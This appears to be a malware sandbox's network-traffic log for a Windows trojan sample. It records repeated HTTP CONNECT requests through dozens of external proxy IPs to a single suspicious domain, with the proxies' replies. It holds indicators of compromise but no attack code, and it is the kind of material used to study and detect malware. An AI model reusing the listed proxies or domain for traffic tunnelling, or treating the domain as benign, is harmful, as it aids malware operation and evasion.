Feb 23, 2024 14:28:40.581836939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.695060968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.789026022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.8	54234	199.58.184.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.308239937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.8	54126	39.165.0.137	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.334347010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.274226904 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.8	52642	161.97.170.209	2296	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.408545017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.398175001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.398456097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.8	53683	67.201.33.10	25283	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.425492048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.8	53677	91.134.140.160	12217	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.426002026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.8	52629	8.222.188.148	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.466892958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.548041105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.585839987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.8	53681	122.155.223.165	10203	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.468564034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.548105955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.8	52714	122.114.232.137	808	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.468888044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.8	53819	47.90.126.78	8118	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.643781900 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.
Feb 23, 2024 14:28:37.068172932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.8	54233	115.171.217.48	7891	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.702428102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.8	54204	24.249.199.4	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.945808887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.8	53775	203.161.32.218	59220	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.964313030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.991966009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.065788031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.194856882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:01.194708109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:13.201044083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:25.226094961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.8	52841	202.12.80.11	83	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.986435890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.991940975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.992322922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.991718054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:00.991664886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1437	192.168.2.8	54237	109.194.22.61	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.024005890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.8	53743	159.223.71.71	62572	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.044291973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.8	52878	103.244.163.116	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.044333935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.124094009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.195507050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.194931984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:01.194770098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.8	53312	184.181.217.201	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.053678989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.8	52874	103.228.246.130	6060	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.054018021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.124202013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.8	53858	41.184.212.3	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.054110050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.8	54021	5.161.98.204	58199	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.068185091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382525921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.695066929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.389516115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.695216894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.992018938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.398226976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.992130995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.849992990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.8	52938	196.15.237.197	1888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.101366997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.8	53809	103.48.68.28	83	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.101568937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.8	53984	92.205.108.94	29961	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.105942965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.195075989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.195677042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.8	53871	114.67.113.118	45130	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.107094049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.497613907 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.8	53963	102.67.101.242	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.131153107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.8	54253	104.24.236.203	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.131155014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.218873024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.8	54251	159.65.77.168	8585	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.161164045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.8	54249	93.117.72.27	55770	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.163547993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.8	53967	103.141.109.143	8181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.224044085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.673870087 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 14:28:39.744009972 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.8	54261	190.14.224.244	3629	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.225759029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.8	54246	43.251.213.62	83	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.255815983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.644773006 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.8	54255	45.179.231.210	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.256503105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.8	53985	103.76.148.92	8181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.265187979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398175955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.958811045 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 14:28:45.959825993 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.8	54273	104.18.237.128	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.269310951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.357481956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.8	54252	203.99.116.100	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.293118000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.8	54258	61.178.152.31	7302	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.293848991 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:37.626826048 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.8	54275	91.92.155.207	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.301018953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.479278088 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.8	53136	5.252.23.206	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.309453964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398176908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.8	53145	5.104.174.199	23500	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
